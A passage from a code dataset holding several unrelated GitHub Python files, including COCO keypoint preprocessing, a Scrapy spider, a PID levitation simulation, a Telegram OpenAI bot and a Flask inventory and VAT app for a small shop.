= []\n\n annIds = coco_kps.getAnnIds(imgIds=img['id'], catIds=catIds, iscrowd=False)\n annos = coco_kps.loadAnns(annIds) #list all person keypoints in the img\n for anno in annos:\n if anno['num_keypoints'] < 3:\n continue\n body = np.asarray(anno['keypoints'])\n embed()\n body.resize((17,3))\n # img = cv2.imread(img_path)\n # draw(body, img)\n # body_tmp = np.zeros((3,17))\n # body_tmp[0] = body[:,0]\n # body_tmp[1] = body[:,1]\n # body_tmp[2] = body[:,2]\n\n body_new = np.zeros((15,4))\n\n for k in range(len(COCO2CMUF)):\n if COCO2CMUF[k] < 0:\n continue\n body_new[k][0] = body[COCO2CMUF[k]][0]\n body_new[k][1] = body[COCO2CMUF[k]][1]\n body_new[k][2] = 0\n\n middle_shoulder = (body[5] + body[6]) / 2\n middle_hip = (body[11] + body[12]) / 2\n\n #hip \n body_new[2][0] = middle_hip[0]\n body_new[2][1] = middle_hip[1]\n body_new[2][2] = 0 #no depth\n\n #neck\n body_new[0][0] = (middle_shoulder[0] - middle_hip[0])*0.185 + middle_shoulder[0]\n body_new[0][1] = (middle_shoulder[1] - middle_hip[1])*0.185 + middle_shoulder[1]\n body_new[0][2] = 0 \n\n body_tmp = np.zeros(shape=(3,15))\n body_tmp[0] = body_new[:,0] \n body_tmp[1] = body_new[:,1] \n body_tmp[2] = body_new[:,2] \n pixel_coors.append(body_tmp.tolist())\n\n if len(pixel_coors) < 1:\n continue \n img_root = Path('/media/xuchengjun/datasets/coco_2017') / data_type\n img_path = img_root / img['file_name']\n output_json['img_path'] = img_path\n output_json['pixel_coors'] = pixel_coors\n\n fx = img['width'] \n fy = img['width']\n cx = img['width'] / 2 \n cy = img['height'] / 2\n cam = np.zeros(shape=(3,3))\n cam[0,0], cam[0,2] = fx, cx\n cam[1,1], cam[1,2] = fy, cy\n cam[2,2] = 1\n\n output_json['cam'] = cam.tolist()\n output_json['img_width'] = img['width']\n output_json['img_height'] = img['height']\n\n output_json['img_id'] = img['id']\n output_json['cam_id'] = 0\n\n img_id = img['id']\n output_json_path = json_file_dirs / f'{img_id}.json'\n with open(output_json_path, 'w') as f:\n json.dump(output_json, f)\n\n count += 1\n print(f'working .. {count}')\n \n print(f'has done {count}')\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"ZXin0305/process_coco_dataset","sub_path":"coco_test/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3604,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"11842199560","text":"import scrapy\nfrom sogou.items import SogouItem\nfrom scrapy.shell import inspect_response\n\nclass sogou_spider(scrapy.Spider):\n name = \"sogou\"\n start_urls = [\n \"http://weixin.sogou.com/\"\n ]\n\n def parse(self,response):\n dataList = response.xpath(\"//*[@id='pc_0_d']\")\n items = []\n # 下面的代码调试用\n inspect_response(response, self) # Rest of parsing code.\n for index,data in enumerate(dataList):\n title = data.xpath('.//div[@class=\"txt-box\"]/h3/a/text()').extract_first()\n brief_text = data.xpath('.//div[@class=\"txt-box\"]/p/text()').extract_first()\n author = data.xpath('.//div[@class=\"s-p\"]/a/text()').extract_first()\n time = data.xpath('.//div[@class=\"s-p\"]/span/text()').extract_first()\n #\n # print \"title\"+title\n # print \"content introduction\"+brief_text\n # print \"author\"+author\n # print \"published time\"+time\n # print \"\\n\"\n\n try:\n item = SogouItem()\n item['title'] = title\n item['brief_text'] = brief_text\n item['author'] = author\n item['time'] = time\n items.append(item)\n except:\n pass\n print(items)\n return items\n\n","repo_name":"Sugeei/python-practice","sub_path":"repository/sogou/sogou/spiders/sogou_spider.py","file_name":"sogou_spider.py","file_ext":"py","file_size_in_byte":1336,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"4378060269","text":"from pettingzoo.sisl import waterworld_v4\nenv = waterworld_v4.env(render_mode='human')\n\nenv.reset()\nfor agent in env.agent_iter():\n observation, reward, termination, truncation, info = env.last()\n\n if termination or truncation:\n action = None\n else:\n action = env.action_space(agent).sample() # this is where you would insert your policy\n\n env.step(action)\nenv.close()\n\n\nprint('Done')","repo_name":"goodrichnikolas/northwestern_capstone","sub_path":"Nik/multi_agent/tutorial.py","file_name":"tutorial.py","file_ext":"py","file_size_in_byte":410,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"41630143206","text":"from django import forms\n\n\nclass HiddenInputUserForm(forms.BaseForm):\n \"\"\" BaseForm that sets 'user' field to be hidden. Initial value is set to user in a request.\n \"\"\"\n class Meta:\n widgets = {\n 'user': forms.HiddenInput(),\n }\n\n def __init__(self, *args, **kwargs):\n self.user = kwargs.pop('user')\n super().__init__(*args, **kwargs)\n self.fields['user'].initial = self.user\n","repo_name":"kndrad/conductors","sub_path":"common/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":433,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"72720375265","text":"#!/usr/bin/env python3\n\n\"\"\"\nFinds the screenshot which most closely matches the given time for a recording session.\n\"\"\"\n\n__author__ = \"Todd Shore \"\n__copyright__ = \"Copyright (C) 2018 Todd Shore\"\n__license__ = \"GNU General Public License, Version 3\"\n\nimport argparse\nimport bisect\nimport datetime\nimport os\nimport re\nimport sys\nfrom collections import defaultdict\nfrom typing import Optional\n\nimport dateutil.parser\n\nfrom tangrams_analysis import session_data as sd\n\nGAME_ROUND_SCREENSHOT_FILENAME_PATTERN = re.compile(\"round-([^-]+)-([^-]+)-([^.]+?)\\\\.png\")\nSELECTION_SCREENSHOT_FILENAME_PATTERN = re.compile(\"selection-entity-id([^-]+)-([^-]+)-([^.]+?)\\\\.png\")\n\n\"\"\"\nA strptime format corresponding to \\\"HHmmssSSS\\\".\n\"\"\"\nSCREENSHOT_TIMESTAMP_FORMAT = \"%H%M%S%f\"\n\n\nclass ScreenshotData(object):\n\n\tdef __init__(self, dirpath: str):\n\t\tself.dirpath = dirpath\n\t\tself.files_by_time = defaultdict(list)\n\t\tself.ordered_times = []\n\t\tfor root_dirpath, _, filenames in os.walk(dirpath, followlinks=True):\n\t\t\tfor filename in filenames:\n\t\t\t\tscreenshot_timestamp = parse_screenshot_timestamp(filename)\n\t\t\t\tif screenshot_timestamp is not None:\n\t\t\t\t\tscreenshot_time = parse_screenshot_time(screenshot_timestamp)\n\t\t\t\t\tself.files_by_time[screenshot_time].append(filename)\n\t\t\t\t\tself.ordered_times.append(screenshot_time)\n\n\t\tself.ordered_times.sort()\n\n\ndef offset_time(augend: datetime.datetime, addend_secs: float) -> datetime.datetime:\n\ttime_micros = addend_secs * 1000000\n\toffset = datetime.timedelta(microseconds=time_micros)\n\treturn augend + offset\n\n\ndef parse_screenshot_time(timestamp: str) -> datetime.time:\n\td = datetime.datetime.strptime(timestamp, SCREENSHOT_TIMESTAMP_FORMAT)\n\treturn d.time()\n\n\ndef parse_screenshot_timestamp(filename: str) -> Optional[str]:\n\tmatch = GAME_ROUND_SCREENSHOT_FILENAME_PATTERN.match(filename)\n\tif match:\n\t\tresult = match.group(2)\n\telse:\n\t\tmatch = SELECTION_SCREENSHOT_FILENAME_PATTERN.match(filename)\n\t\tif match:\n\t\t\tresult = match.group(2)\n\t\telse:\n\t\t\tresult = None\n\treturn result\n\n\ndef __create_argparser() -> argparse.ArgumentParser:\n\tresult = argparse.ArgumentParser(\n\t\tdescription=\"Finds the screenshot which most closely matches the given time for a recording session.\")\n\tresult.add_argument(\"indir\", metavar=\"INDIR\",\n\t\t\t\t\t\thelp=\"The directory of the session to find a corresponding screenshot for.\")\n\tresult.add_argument(\"time\", metavar=\"TIME\", type=float,\n\t\t\t\t\t\thelp=\"The time of the screenshot to find in seconds.\")\n\treturn result\n\n\ndef __main(args):\n\tindir = args.indir\n\tprint(\"Processing session directory \\\"{}\\\".\".format(indir), file=sys.stderr)\n\tsession = sd.SessionData(indir)\n\tscreenshot_data = ScreenshotData(session.screenshot_dir)\n\ttime_secs = args.time\n\tprint(\"Finding screenshot at {} seconds.\".format(time_secs), file=sys.stderr)\n\tstart_timestamp = session.read_session_metadata()[\"START_TIME\"]\n\tstart_time = dateutil.parser.parse(start_timestamp)\n\toffset_screenshot_time = offset_time(start_time, time_secs).time()\n\tordered_times = screenshot_data.ordered_times\n\ti = bisect.bisect_left(ordered_times, offset_screenshot_time)\n\tnearest_time = ordered_times[i]\n\tprint(\"Found screenshot at {}.\".format(nearest_time), file=sys.stderr)\n\tfilenames = screenshot_data.files_by_time[nearest_time]\n\tscreenshot_dir = session.screenshot_dir\n\tfor filename in sorted(filenames):\n\t\tpath = os.path.join(screenshot_dir, filename)\n\t\tprint(path)\n\n\nif __name__ == \"__main__\":\n\t__main(__create_argparser().parse_args())\n","repo_name":"errantlinguist/tangrams-restricted","sub_path":"analysis/scripts/find_screenshot.py","file_name":"find_screenshot.py","file_ext":"py","file_size_in_byte":3474,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"2184620895","text":"N, K = map(int, input().split())\nitems = [list(map(int, input().split())) for _ in range(N)]\ndp = [[0] * (K+1) for _ in range(N+1)]\n\nfor i in range(1, N+1):\n for j in range(1, K+1):\n W, V = items[i-1] # 탐색하는 물건\n if j < W: # 헤딩 무게가 탐색하는 물건의 무게보다 작다면 담을 수 없으므로 이전값을 그대로 가져온다\n dp[i][j] = dp[i-1][j]\n else: # 크다면 이전값과 현재 물건을 넣고 다른 물건들로 채운 값을 비교하여 큰 값을 저장한다\n dp[i][j] = max(dp[i-1][j], V + dp[i-1][j-W])\n\nprint(dp[N][K]) # 배낭에 넣을 수 있는 최대 가치합","repo_name":"soohyxn/Algorithm","sub_path":"baekjoon/12865.py","file_name":"12865.py","file_ext":"py","file_size_in_byte":664,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"8114760707","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\ntau_1 = 2 # tiempo caracteristico de respuesta de la altura ante un salto tipo escalon en la frecuencia de la PWM\ntau_2 = 0.01 # no lo voy a usar, lo desprecio frente a tau_1 \n\n# valores criticos (no tiene en cuenta histeresis)\npwm_lower = 100 # abajo de este valor el objeto se cae hasta el fondo\npwm_upper = 230 # arriba de este valor llega a lo mas alto que puede (seguir aumentando pwm no lo sube mas)\n\nd_lower = 40 # distancia medida cuando el objeto esta en el punto mas bajo posible\nd_upper = 4 # distancia medida cuando el objeto esta en el punto mas alto posible\nalpha = 1 # exponente en la relacion frecuencia de PWM - altura\ndt_sensor = 0.1 # tiempo entre lecturas del sensor (en segundos)\n#dt_actuador = 1 # por si el dt del actuador fuese distinto \nn = 2000 # pasos de la iteracion\nmemoria = -1 # memoria del termino integral (debe ser entero, si no es positivo, integra todo el error, si es positivo, integra solamente \"memoria\" terminos. Si \"memoria\" es mayor o igual al numero de iteraciones actua igual que si tuviera memoria infinita)\n\n# respuesta ante impulso\n\ndef d(t, d0, deq): # distancia al sensor como funcion de la distancia inicial d0, la distancia de equilibrio deq y el tiempo t\n r = d0 + (deq - d0) * (1 - np.exp(-t / tau_1))\n return r\n\n# altura de equilibrio en funcion del nivel de pwm\n\ndef deq(pwm):\n if pwm > pwm_upper:\n r = d_upper\n elif pwm < pwm_lower:\n r = d_lower\n else:\n m = (d_upper - d_lower) / (pwm_upper**alpha - pwm_lower**alpha)\n r = (d_lower - m * pwm_lower**alpha) + m * pwm**alpha\n return r\n\n# grafico \"calibracion\" de altura de equilibrio contra nivel de pwm\n\npwm = []\nds = []\n\nfor p in range(256):\n pwm.append(p)\n ds.append(deq(p))\n \n#plt.plot(pwm, ds)\n\ndef G(outPID): # funcion que agarra la salida del PID y devuelve la entrada al actuador\n if outPID < 0:\n in_actuador = 255\n elif outPID > 255:\n in_actuador = 0\n else:\n in_actuador = 255 - outPID\n return in_actuador\n\n# inicio el algoritmo de PID\n\nkp = 10\nki = 1\nkd = 0\nd_inicial = d_lower # arranca desde abajo de todo (pegado al ventilador)\nsetpoint = 20\nintegral = 0\nlastError = 0\nerrors = []\n\ndef PID(d, sp, integral, lastError, cnt = 1):\n error = sp - d\n integral = integral + error * dt_sensor\n derivative = (error - lastError) / dt_sensor\n if memoria > 0:\n errors.append(error)\n if cnt > memoria:\n errors.pop(0)\n integral = sum(errors) * dt_sensor\n r = kp * error + ki * integral + kd * derivative\n lastError = error\n cnt = cnt + 1\n return r, integral, lastError, cnt\n\nlecturas_sensor = []\nsalidas_PID = []\nseniales_actuador = []\nlectura_sensor = d_inicial\nlecturas_sensor.append(lectura_sensor)\nintegral_inicial = 0\nlastError = 0\ntiempo = []\nsetpoints = []\ncnt = 1\n\nfor i in range(n):\n tiempo.append(dt_sensor*i)\n setpoints.append(setpoint)\n [output_PID, integral, lastError, cnt] = PID(lecturas_sensor[i], setpoint, integral, lastError, cnt)\n salidas_PID.append(output_PID)\n senial_actuador = G(output_PID)\n seniales_actuador.append(senial_actuador)\n lectura_sensor = d(dt_sensor, lectura_sensor, deq(senial_actuador))\n lecturas_sensor.append(lectura_sensor)\n\ntiempo.append(dt_sensor * n)\nsetpoints.append(setpoint)\n\nplt.figure(1)\nplt.plot(tiempo,lecturas_sensor)\nplt.plot(tiempo,setpoints)\n\n# casos interesantes: kp = 1, ki = 0.1, kd = 0, tau_1 = 0.5, dt_sensor = 1\n# kp = 1, ki = 0.1, kd = 0, tau_1 = 0.5, pero con dt_sensor = 0.01 (error esteacionario)\n# kp = 10, ki = 1000, kd = 0, tau_1 = 0.5, dt_sensor = 0.01\n# tanto en los casos en que dt_sensor << tau_1 como si dt_sensor > tau_1 se encuentran valores de las constantes que hacen que el sistema converja al valor de equilibrio, pero los valores de las constantes son muy distintos en cada caso\n","repo_name":"DopplerPavlovTichno/LEVITACION","sub_path":"SIMULACION/simulacion_antigravity.py","file_name":"simulacion_antigravity.py","file_ext":"py","file_size_in_byte":3884,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"23535105003","text":"from telegram import Update, constants\nfrom telegram.ext import ContextTypes\nfrom functools import wraps\nfrom src.config import SPECIAL_USERS\nimport openai\nimport time\nimport urllib.request\n\n\ndef send_action(action):\n \"\"\"Sends `action` while processing func command.\"\"\"\n def decorator(func):\n @wraps(func)\n async def command_func(update, context, *args, **kwargs):\n await context.bot.send_chat_action(chat_id=update.effective_message.chat_id, action=action)\n return await func(update, context, *args, **kwargs)\n return command_func\n return decorator\n\n@send_action(constants.ChatAction.TYPING)\nasync def ai_txt(update: Update, context: ContextTypes.DEFAULT_TYPE):\n try:\n response = openai.Completion.create(\n model=\"text-davinci-003\",\n prompt=update.message.text,\n temperature=0,\n max_tokens=1000\n )\n resp = response['choices'][0]['text']\n if '@'+update.effective_user.username in SPECIAL_USERS:\n await update.message.reply_text(text=resp)\n else:\n await update.message.reply_text(text='''\nYou're not allowed to access this feature \\U0000274c\\U0000274c\\U0000274c.\n''')\n \n except openai.error.OpenAIError as e:\n await update.message.reply_text(text=e.error['message'])\n \n \n@send_action(constants.ChatAction.UPLOAD_PHOTO)\nasync def ai_img(update: Update, context: ContextTypes.DEFAULT_TYPE):\n try:\n response = openai.Image.create(\n prompt= ' '.join(update.message.text.split()[1:]),\n n=1,\n size='1024x1024')\n resp = response['data'][0]['url']\n urllib.request.urlretrieve(resp, 'res.jpg')\n with open('res.jpg', 'rb') as f:\n if '@'+update.effective_user.username in SPECIAL_USERS:\n time.sleep(3)\n await update.message.reply_photo(photo='res.jpg')\n else:\n await update.message.reply_text(text='''\nYou're not allowed to access this feature \\U0000274c\\U0000274c\\U0000274c.\n''')\n except openai.error.OpenAIError as e:\n await update.message.reply_text(text=e.error['message'])","repo_name":"RobbyFuad/mabotnew","sub_path":"src/ai_handler.py","file_name":"ai_handler.py","file_ext":"py","file_size_in_byte":2190,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"2789165957","text":"import cv2\nimport tensorflow as tf\nimport os\nfrom detect_object import detect_objects\nCWD_PATH = os.getcwd()\n\nMODEL_NAME = 'ssd_mobilenet_v1_coco_2017_11_17'\nPATH_TO_MODEL = os.path.join(CWD_PATH, 'HC', 'frozen_inference_graph.pb')\n#PATH_TO_VIDEO = os.path.join(CWD_PATH, 'input.mp4')\n\n#face_cascade = cv2.CascadeClassifier(\"D:\\\\Arasan\\\\Misc\\\\GitHub\\\\VideoCapture\\\\\\mtcnn\\\\HC\\\\haarcascade_fullbody.xml\")\nface_cascade = cv2.CascadeClassifier(\"D:\\\\Arasan\\\\Misc\\\\GitHub\\\\VideoCapture\\\\\\mtcnn\\\\HC\\\\haarcascade_upperbody.xml\")\n#face_cascade = cv2.CascadeClassifier(\"D:\\\\Arasan\\\\Misc\\\\GitHub\\\\VideoCapture\\\\\\mtcnn\\\\HC\\\\haarcascade_frontalface_alt.xml\")\nframe=cv2.imread(\"D:\\\\Arasan\\\\Misc\\\\GitHub\\\\VideoCapture\\\\mtcnn\\\\abc.jpg\")\ngray_img=cv2.cvtColor(frame,cv2.COLOR_BGR2GRAY)\n\n\ndetection_graph = tf.Graph()\nwith detection_graph.as_default():\n od_graph_def = tf.GraphDef()\n with tf.gfile.GFile(PATH_TO_MODEL, 'rb') as fid:\n serialized_graph = fid.read()\n od_graph_def.ParseFromString(serialized_graph)\n tf.import_graph_def(od_graph_def, name='')\n sess = tf.Session(graph=detection_graph)\n\ncontext = detect_objects(frame, sess, detection_graph)\nprint(context)\ncontext['width'] = frame.shape[1]\ncontext['height'] = frame.shape[0]\n\n\nfont = cv2.FONT_HERSHEY_SIMPLEX\nfor point, name, color in zip(context['rect_points'], context['class_names'], context['class_colors']):\n cv2.rectangle(frame, (int(point['xmin'] * context['width']), int(point['ymin'] * context['height'])),\n (int(point['xmax'] * context['width']), int(point['ymax'] * context['height'])), color, 3)\n #cv2.rectangle(frame, (int(point['xmin'] * context['width']), int(point['ymin'] * context['height'])),\n # (int(point['xmin'] * context['width']) + len(name[0]) * 6,\n # int(point['ymin'] * context['height']) - 10), color, -1, cv2.LINE_AA)\n #cv2.putText(frame, name[0], (int(point['xmin'] * context['width']), int(point['ymin'] * context['height'])), font,\n # 0.3, (0, 0, 0), 1)\n\n\n\n# =============================================================================\n# faces=face_cascade.detectMultiScale(gray_img,\n# scaleFactor=1.1,\n# minNeighbors=5)\n# for x, y, w, h in faces:\n# img=cv2.rectangle(img,(x,y),(x+w,y+h),(0,255,0),3)\n#\n# print(type(faces))\n# print(faces)\n# =============================================================================\n\n#resized=cv2.resize(frame,(frame.shape[1]//3,frame.shape[0]//3))\n\ncv2.imshow('grey',frame)\ncv2.waitKey(0)\ncv2.destroyAllWindows()","repo_name":"arasandt/PythonScripts","sub_path":"body_image.py","file_name":"body_image.py","file_ext":"py","file_size_in_byte":2610,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"6907943403","text":"from datetime import date\nfrom cs50 import SQL\nfrom flask import Flask, flash, redirect, render_template, request, session\nfrom flask_session import Session\nfrom tempfile import mkdtemp\nfrom werkzeug.exceptions import default_exceptions, HTTPException, InternalServerError\nfrom werkzeug.security import check_password_hash, generate_password_hash\nfrom threading import Thread\n\nfrom helpers import apology, login_required\n\n# Configure application\napp = Flask(__name__, template_folder='templates', static_folder='static')\n\n# Ensure templates are auto-reloaded\napp.config[\"TEMPLATES_AUTO_RELOAD\"] = True\n\n\n# Ensure responses aren't cached\n@app.after_request\ndef after_request(response):\n response.headers[\"Cache-Control\"] = \"no-cache, no-store, must-revalidate\"\n response.headers[\"Expires\"] = 0\n response.headers[\"Pragma\"] = \"no-cache\"\n return response\n\n\n# Configure session to use filesystem (instead of signed cookies)\napp.config[\"SESSION_FILE_DIR\"] = mkdtemp()\napp.config[\"SESSION_PERMANENT\"] = False\napp.config[\"SESSION_TYPE\"] = \"filesystem\"\nSession(app)\n\n# Configure CS50 Library to use SQLite database\ndb = SQL(\"sqlite:///dp.db\")\n\nitemlist = [\"PURE GHEE U LAND 12*800G\", \"CHICKEN FRANK SPRME 24*340G\",\n \"EGG FRESH KHADI 12X30\", \"ALRAED RBD PALM OLEIN\",\n \"NO 7 CHANA AL AMEIN/AL TAWAQ 15KG\", \"HOT SAUCE GLORIA 12X474 ML\",\n \"7 OZ TEA CUP MODERN 20X50 PCS\", \"VINEGAR MAMIA (WHITE) 24X473 ML\",\n \"THAHINA LIQUID JOHRA 10KG\", \"LIPTON TEA CATERING 36X100 PCS\", \"PEPSI CAN\",\n \"CITRUS CAN\", \"DEW CAN\", \"ORANGE CAN\", \"7UP CAN\", \"STRAWBERRY CAN\",\n \"LIGHT PEPSI CAN\", \"SUGAR SAUDI 50KG\", \"KETCHUP BAIDAR 4X5KG\",\n \"RABEA ORANGE JUICE 30X250ML\", \"YASMIN E-Z PACK SLICE 8X160PC\",\n \"KUWAITY FLOUR 10X1 KG\", \"LOOSE BLACK PEPPER POWDER 1KG\",\n \"TOMATO PASTE LUNA 24X400GM\", \"A-1 CURRY POWDER 24X400GM POUCH\",\n \"1000 PCS SS BAG RAHIMA\", \"TEA CUP 20X50 PCS\",\n \"ALU FOIL MAGIC 6X300MM 1KG\", \"PLASTIC CUP 10OZ CLEAR 20X50\",\n \"OMELLA MILK BIG 48X405ML\", \"MAYONNAISE MAMIA 12X946 ML\",\n \"PUCK CHEESE 6X500 GM\", \"VINAYLE GLOVES 10*70 - LARGE\",\n \"VINAYLE GLOVES 10*70 - X LARGE\", \"SUGAR YELLOW 10KG\", \"SANDWICH PAPER 'MRS' \",\n \"JEERAKASHALA INDIATOWER 10KG\", \"HI TEA ZIPPER PKT\",\n \"HAI JAM BOTTLE STRAWBERRY\", \"PEANUT BUTTER PEEP 1KG\",\n \"RICE BASMATI GREEN FARM 10KG\", \"NAPCO BURGER FOIL 5X500PCS\",\n \"SALT BAG 4KG\", \"SASA SALT 24X737\", \"NESCAFE CLASSIC 12X200GM\",\n \"PLASTIC FORK FALCON 20X50PC\", \"RICE PARMAL INDIA SHIP 40KG\",\n \"FAIRY BIG LEMON 12X1 LTR\", \"SUFRA ROLL NAHLA CTN\",\n \"RKG PURE GHEE 12X1LTR\", \"BROASTED POWDER 12X1KG\", \"CHICKEN FRANK SADIA\",\n \"LOOSE SODA POWDER 1KG\", \"MAYONAISE GOODY 1KG\",\n \"TRASH BAG HMC 50g x 10pkt\", \"SHANI CAN\", \"1000 PC SS BAG NAHLA\",\n \"TANG ORANGE TIN-6*2KG\", \"NAKKANAK SADIYA\",\n \"DEMITA CLING FILM SMALL 6*300MTR\", \"PLASTIC CUP 10 OZ CLEAR 20*50\",\n \"PAPPER COATING STROW 40*250PC\", \"NO 9 CHANA JAMEEL 15 KG\",\n \"SAUSE GLORIA GALONE\", \"SHAMS SUN OIL BIG 4*2.9LTR\",\n \"HOT PACK ALU FOIL 6*30*150M\", \"ALSI CAN 30*250ML SADA\", \"PEANUT BUTTER ORBIX-12*1 KG\"\n]\n\n\n@app.route(\"/\")\ndef index():\n if not session:\n return render_template(\"index.html\")\n else:\n return redirect(\"/additem\")\n\n\n@app.route(\"/meez\")\ndef meez():\n return render_template(\"meez.html\")\n\n@app.route(\"/pursale\", methods=[\"GET\", \"POST\"])\n@login_required\ndef pursale():\n if request.method == \"GET\":\n return render_template(\"pursale.html\")\n else:\n sale = request.form.get(\"sale\")\n purchase = request.form.get(\"purchase\")\n tdate = request.form.get(\"date\")\n db.execute(\n \"DELETE FROM pursale WHERE user_id = ? AND dt = ?\",\n session[\"user_id\"], tdate)\n if sale.replace('.', '', 1).isdigit() == False or purchase.replace(\n '.', '', 1).isdigit() == False:\n flash(\"Enter all details\")\n return redirect(\"/pursale\")\n sale = float(sale)\n salevat = sale-(sale*100)/115\n purchase = float(purchase)\n purvat = purchase-(purchase*100)/115\n db.execute(\n \"INSERT INTO pursale(user_id, sales, salevat, purchase, purvat, dt) VALUES(?,?,?,?,?,?)\",\n session[\"user_id\"], sale, salevat, purchase, purvat, tdate)\n return redirect(\"/pursale\")\n\n\n@app.route(\"/vatview\", methods=[\"GET\", \"POST\"])\n@login_required\ndef pursaleview():\n mlist = [\n \"January\", \"February\", \"March\", \"April\", \"May\", \"June\", \"July\",\n \"August\", \"September\", \"October\", \"November\", \"December\"\n ]\n if request.method == \"GET\":\n return render_template(\"vatview.html\", mlist=mlist)\n else:\n month = request.form.get(\"month\")\n year = request.form.get(\"year\")\n if not month or not year:\n flash(\"Forgot to enter year or month\")\n return redirect(\"/vatview\")\n\n if int(month) < 10:\n month = '0' + month\n details = db.execute(\n \"SELECT * FROM pursale WHERE user_id = ? AND strftime('%m', dt) = ? AND strftime('%Y', dt) = ? ORDER BY strftime('%d', dt)\",\n session[\"user_id\"], month, year)\n if len(details) == 0:\n return apology(\"No entries in that month or selected year\")\n total = db.execute(\n \"SELECT sum(sales) AS sums, sum(purchase) AS sump, sum(salevat) AS sumsv, sum(purvat) AS sumpv FROM pursale WHERE user_id = ? AND strftime('%m', dt) = ? AND strftime('%Y', dt) = ?\",\n session[\"user_id\"], month, year)\n sump = total[0][\"sump\"]\n sumpv = total[0][\"sumpv\"]\n sums = total[0][\"sums\"]\n sumsv = total[0][\"sumsv\"]\n vats = sumsv - sumpv\n return render_template(\"vatviewprint.html\",\n details=details,\n sales=sums ,\n purchase=sump,\n vats=vats,\n month=mlist[int(month) - 1])\n\n\n@app.route(\"/additem\", methods=[\"GET\", \"POST\"])\n@login_required\ndef addItem():\n if request.method == \"GET\":\n return render_template(\"additem.html\", itemlist=itemlist)\n else:\n item = request.form.get(\"item\")\n qty = request.form.get(\"qty\")\n db.execute(\n \"INSERT INTO list (user_id, item, qty, dt) values(?, ?, ?, ?)\",\n session[\"user_id\"], item, qty, date.today())\n return redirect(\"/additem\")\n\n\n@app.route(\"/itemlist\", methods=[\"GET\", \"POST\"])\n@login_required\ndef history():\n if request.method == \"GET\":\n return render_template(\"date.html\")\n else:\n chosendate = request.form.get(\"date\")\n lists = db.execute(\n \"SELECT * FROM list WHERE user_id = ? AND date(dt) == date(?)\",\n session[\"user_id\"], chosendate)\n if len(lists) == 0:\n flash(\"No items added today or invalid date\")\n return redirect(\"/itemlist\")\n username = db.execute(\"SELECT * FROM users WHERE id = ?\",\n session[\"user_id\"])\n return render_template(\"itemlist.html\", lists=lists, username=username)\n\n\n@app.route(\"/login\", methods=[\"GET\", \"POST\"])\ndef login():\n \"\"\"Log user in\"\"\"\n\n # Forget any user_id\n session.clear()\n\n # User reached route via POST (as by submitting a form via POST)\n if request.method == \"POST\":\n\n # Ensure username was submitted\n if not request.form.get(\"username\"):\n return apology(\"must provide username\", 403)\n\n # Ensure password was submitted\n elif not request.form.get(\"password\"):\n return apology(\"must provide password\", 403)\n\n # Query database for username\n rows = db.execute(\"SELECT * FROM users WHERE username = ?\",\n request.form.get(\"username\"))\n\n # Ensure username exists and password is correct\n if len(rows) != 1 or not check_password_hash(\n rows[0][\"hash\"], request.form.get(\"password\")):\n return apology(\"invalid username and/or password\", 403)\n\n # Remember which user has logged in\n session[\"user_id\"] = rows[0][\"id\"]\n\n # Redirect user to home page\n return redirect(\"/additem\")\n\n # User reached route via GET (as by clicking a link or via redirect)\n else:\n return render_template(\"login.html\")\n\n\n@app.route(\"/register\", methods=[\"GET\", \"POST\"])\ndef register():\n \"\"\"Register user\"\"\"\n if request.method == \"GET\":\n return render_template(\"register.html\")\n else:\n # Store name in name and password in db and check if previously exist\n name = request.form.get(\"username\")\n prev = db.execute(\n \"SELECT EXISTS(SELECT * FROM users WHERE username = ?) \", name)\n prev = [i for i in prev[0].items()]\n if prev[0][1] or not name:\n return apology(\"Username invalid or not available\")\n\n # Check if passwords match\n password = request.form.get(\"password\")\n confirm = request.form.get(\"confirmation\")\n if not password or password != confirm:\n return apology(\"Password invalid\")\n\n # Store the details in the database\n else:\n hash = generate_password_hash(password,\n method='pbkdf2:sha256',\n salt_length=8)\n db.execute(\"INSERT INTO users (username, hash) VALUES(?, ?)\", name,\n hash)\n flash(\"User had been registered successfully!\")\n return redirect(\"/login\")\n\n\n@app.route(\"/logout\")\ndef logout():\n \"\"\"Log user out\"\"\"\n\n # Forget any user_id\n session.clear()\n\n # Redirect user to login form\n return redirect(\"/\")\n\n\ndef errorhandler(e):\n \"\"\"Handle error\"\"\"\n if not isinstance(e, HTTPException):\n e = InternalServerError()\n return apology(e.name, e.code)\n\n\n# Listen for errors\nfor code in default_exceptions:\n app.errorhandler(code)(errorhandler)\n\nif __name__ == '__main__':\n # Run the Flask app\n t = Thread(target=app.run(host='0.0.0.0', port=8080, debug=True))\n t.start()\n","repo_name":"zameel7/BoofiaHelper","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":10056,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"70"} +{"seq_id":"7127054573","text":"#1. Escreva um script Python para classificar (crescente e decrescente) um dicionário por valor\ndef q():\n d={\"B\":5,'E':2,'C':3,'D':4}\n d= sorted(d.items())\n print(d)\n print(d[::-1])\ndef q6():\n s =[(2, 5), (1, 2), (4, 4), (2, 3), (2, 1)]\n p=[]\n for i in s:\n p.append(i[::-1])\n p= sorted(p)\n s.clear()\n print(p)\n for i in p:\n s.append(i[::-1])\n print(s)\n","repo_name":"eCrMarques/Estudo","sub_path":"UC1 - Desenvolver Sistemas de Informação/.Aulas (6-10)/Aula 6 01-03/Exercicios/Ex Dicionario.py","file_name":"Ex Dicionario.py","file_ext":"py","file_size_in_byte":403,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} 